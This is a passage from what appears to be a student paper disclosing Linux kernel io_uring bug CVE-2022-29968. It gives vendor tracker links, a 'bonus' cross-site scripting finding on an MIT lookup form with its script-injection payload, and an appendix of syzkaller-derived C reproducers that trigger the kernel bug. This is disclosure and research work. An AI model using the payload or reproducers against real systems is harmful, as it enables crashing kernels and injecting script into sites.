useful here as well– we suspect pointing the fuzzer in the general direction of very recently modified code would
reveal a large number of bugs.
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9 Links

Our code is available at https://github.com/jprx/CVE-2022-29968.

A public blog post regarding the bug can be found at: jravi.io/iouring

Our CVE has entries in many CVE tracker databases. Here are a few of them from major vendors:

Red Hat: https://access.redhat.com/security/cve/cve-2022-29968

Ubuntu: https://ubuntu.com/security/CVE-2022-29968

MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29968

Debian: https://security-tracker.debian.org/tracker/CVE-2022-29968

National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-29968
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11 Bonus Bug

We also found a cross site scripting bug in an MIT web service. Namely, the dorm hostname lookup form
(https://stuff.mit.edu/cgi/machine) did not properly sanitize the machine search query. Searching for the
machine "test</h1><script>alert('xss');</script>" would run untrusted JS on the site.

We emailed SIPB about this bug on May 14 and it was patched a few hours later that same day.
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12 Appendix

Listing 6: Original reproducer� �
1 void execute_one(void) {

2 intptr_t res = 0;

3 NONFAILING(memset((void*)0x2000009c, 0, 12));

4 *(uint32_t*)0x20000084 = 0;

5 *(uint32_t*)0x20000088 = 1;

6 *(uint32_t*)0x2000008c = 0;

7 *(uint32_t*)0x20000090 = 1;

8 *(uint32_t*)0x20000098 = 0;

9 memset((void*)0x2000009c, 0, 12);

10 res = -1;

11 res = syz_io_uring_setup(1, 0x20000088, 0x20ffd000, 0x20ffc000, 0x20000240, 0x20000040);

12 if (res != -1) {

13 r[0] = res; r[1] = *(uint64_t*)0x20000240; r[2] = *(uint64_t*)0x20000040;

14 }

15 memcpy((void*)0x20000080, "/dev/sr0\000", 9);

16 syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000080ul, 0x4900ul, 0ul);

17 *(uint64_t*)0x20000140 = 5;

18 syscall(__NR_io_uring_enter, r[0], 0x7e93, 0x5cab, 2ul, 0x20000140ul, 8ul);

19 *(uint8_t*)0x20000100 = 0x16;

20 *(uint8_t*)0x20000101 = 0;

21 *(uint16_t*)0x20000102 = 0;

22 *(uint32_t*)0x20000104 = 4;

23 *(uint64_t*)0x20000108 = 0;

24 *(uint64_t*)0x20000110 = 0x20000000;

25 *(uint32_t*)0x20000118 = 0xfffffd61;

26 *(uint32_t*)0x2000011c = 0;

27 *(uint64_t*)0x20000120 = 0;

28 *(uint16_t*)0x20000128 = 0;

29 *(uint16_t*)0x2000012a = 0;

30 memset((void*)0x2000012c, 0, 20);

31 syz_io_uring_submit(r[1], r[2], 0x20000100, 0);

32 res = syscall(__NR_socket, 2ul, 2ul, 0);

33 if (res != -1) { r[3] = res; }

34 *(uint32_t*)0x20000084 = 0;

35 (*(uint32_t*)0x20000088 = 1);

36 (*(uint32_t*)0x20000090 = 0);

37 (*(uint32_t*)0x2000008c = 0);

38 (*(uint32_t*)0x20000098 = 0);

39 (memset((void*)0x2000009c, 0, 12));

40 NONFAILING(syz_io_uring_setup(1, 0x20000080, 0x20ffd000, 0x20ffc000, 0x20000240, 0));

41 syscall(__NR_io_uring_enter, r[0], 0x7e93, 0x5cab, 2ul, 0ul, 0ul);

42 *(uint8_t*)0x20000100 = 0x16;

43 *(uint8_t*)0x20000101 = 0;

44 *(uint16_t*)0x20000102 = 0;

45 *(uint32_t*)0x20000104 = 4;

46 *(uint64_t*)0x20000108 = 0;

47 *(uint64_t*)0x20000110 = 0x20000000;

48 *(uint32_t*)0x20000118 = 0xfffffd61;

49 *(uint32_t*)0x2000011c = 0;

50 *(uint64_t*)0x20000120 = 0;

51 *(uint16_t*)0x20000128 = 0;

52 *(uint16_t*)0x2000012a = 0;

53 memset((void*)0x2000012c, 0, 20);

54 NONFAILING(syz_io_uring_submit(r[1], r[2], 0x20000100, 0));

55 syscall(__NR_openat, 0xffffffffffffff9cul, 0ul, 0ul, 0ul);

56 syscall(__NR_socket, 2ul, 2ul, 0);

57 syscall(__NR_connect, r[3], 0ul, 0ul);

58 NONFAILING(*(uint64_t*)0x20000040 = 2);

59 syscall(__NR_sendfile, r[3], -1, 0x20000040ul, 0x10001ul);

60 syscall(__NR_io_uring_enter, -1, 0x1b3f, 0x3ac1, 0ul, 0ul, 0ul);

61 syscall(__NR_io_uring_enter, r[0], 0x4490, 0, 0ul, 0ul, 0ul);

62 }� �
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Listing 7: Minimized reproducer� �
1 void execute_one(void) {

2 intptr_t res = 0;

3 // Install initial parameters / setup the io_uring

4 struct io_uring_params *params = (struct io_uring_params *)IO_URING_PARAMS;

5 params->sq_entries = 0;

6 params->cq_entries = 0;

7 params->flags = FLAG_IORING_SETUP_IOPOLL;

8 params->sq_thread_cpu = 0;

9 params->sq_thread_idle = 0;

10 memset(&(params->resv), 0, sizeof(params->resv));

11 res = -1;

12 res = syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, SQES);

13

14 if (res != -1) {

15 r[IO_URING_FD_OFFSET] = res;

16 r[RING_OFFSET] = *(uint64_t*)RING;

17 r[SQES_OFFSET] = *(uint64_t*)SQES;

18 }

19

20 // Reuse the params struct to open /dev/sr0

21 // /dev/sr0 is a SCSI CD ROM

22 // This opens the CD ROM so we can interact with it using async block IO

23 memcpy((void*)IO_URING_PARAMS, "/dev/sr0\000", 9);

24 uint64_t dirfd = 0xffffffffffffff9cul;

25 uint64_t flags = O_DIRECT | O_NONBLOCK | O_NOCTTY;

26 assert(flags == 0x4900ul);

27 syscall(__NR_openat, dirfd, IO_URING_PARAMS, flags, NULL);

28

29 struct io_uring_sqe *new_entry = (struct io_uring_sqe *)(0x20000100);

30

31 new_entry->opcode = IORING_OP_READ;

32 assert(new_entry->opcode == 0x16);

33 new_entry->fd = 4;

34 new_entry->addr = 0x20000000;

35 new_entry->len = 0xfffffd61;

36 new_entry->file_index = 0;

37 new_entry->__pad2[0] = 0;

38 new_entry->__pad2[1] = 0;

39

40 // Submit to index 0

41 syz_io_uring_submit(r[RING_OFFSET], r[SQES_OFFSET], new_entry, 0);

42

43 // This is in IO_URING_PARAMS again:

44 // POLLING mode == kernel and user share memory and the kernel async reads from it

45 params->sq_entries = 0;

46 params->cq_entries = 0;

47 params->flags = FLAG_IORING_SETUP_IOPOLL;

48 params->sq_thread_cpu = 0;

49 params->sq_thread_idle = 0;

50 memset(&(params->resv), 0, sizeof(params->resv));

51 NONFAILING(syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, 0));

52

53 // Enter our ring to the io uring

54 syscall(__NR_io_uring_enter, r[IO_URING_FD_OFFSET], 0x7e93, 0x5cab, 2ul, 0ul, 0ul);

55 }� �
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Figure 5: Joseph (right) and Michael (left) posing with the server we used to find the bug.
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